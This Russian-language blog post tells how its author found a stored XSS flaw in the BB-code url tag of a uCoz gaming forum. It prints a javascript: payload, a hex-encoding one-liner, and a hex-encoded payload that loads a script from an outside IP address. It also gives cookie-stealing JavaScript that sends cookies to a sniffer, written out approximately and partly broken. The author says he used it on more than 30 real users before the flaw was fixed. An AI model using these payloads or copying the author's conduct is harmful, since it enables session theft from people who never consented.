Search
Write a publication
Pull to refresh

О том как я XSS на ucoz нашел



Однажды, сидя на своем любимом форуме, у меня возникла мысль: "Хм! А ведь раньше были уязвимость в BB кодах различных форумов. Может быть они не все перевелись?". «Надо бы поискать» — сказал я себе.

Что же я делал?


Некоторое время было потрачено на изучение доступных BB кодов(кстати форум ucoz, а сайт входит в топ10 игровой тематики).

После неких манипуляций обнаружилось, что тэг url сохраняет протокол javascript, т.е пытается что-то делать, просто фильтруется. «Оп-па, подумал я».

[url=javascript:alert("XSS");]Load[/url].

Конечно не работает… Что же делать?

И тут еще одна мысль! «А ведь постоянно вижу в ссылках эти знаки процента!»

Был расчехлен любимый python и написана коленочная программа для генерации зашифрованной в hex url-строки.
print "%"+"%".join("{0:x}".format(ord(c)) for c in s)


Вот эта конструкция позволяла добавить к каждому посту сообщение, типа hacked by FelZz (ну вы поняли).
[url=javascript:%24%2e%67%65%74%53%63%72%69%70%74%28%27%68%74%74%70%3a%2f%2f%39%33%2e%31%38%39%2e%34%34%2e%37%33%2f%66%65%6c%7a%7a%2f%72%65%66%2e%6a%73%27%29%3b]Load[/url]


Дальше для наглядности был написан подключаемый с помощью $.getScript(); скрипт, ворующие cookie пользователя, через httpz(сниффер).
За 24 часа попалось больше 30-ти человек, и это всего лишь безобидная красная кнопка с надписью: «Не нажимать!».
JS код(приблизительно):
var body = document.getElementByTagName("body");
body.innerHtml(body+"<iframe id="evil" src="главная сайта" />");
var evil = document.getElementById("evil");
body.innerHtml("<img src='ссылка на сниффер?'"+evil.document.cookie+">");


Естественно на мое сообщение об ошибке в поддержке ucoz'а никто не отреагировал… Но у меня были знакомые на форуме, и администратор сайта отправил письмо с жалобой.

Итог


Уязвимость устранена через неделю (30 июля). Теперь протокол javascript фильтруется полностью.

Не нужно думать, что какой-то сайт защищен полностью. Почти всегда можно найти новую(или давно забытую старую) уязвимость.
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.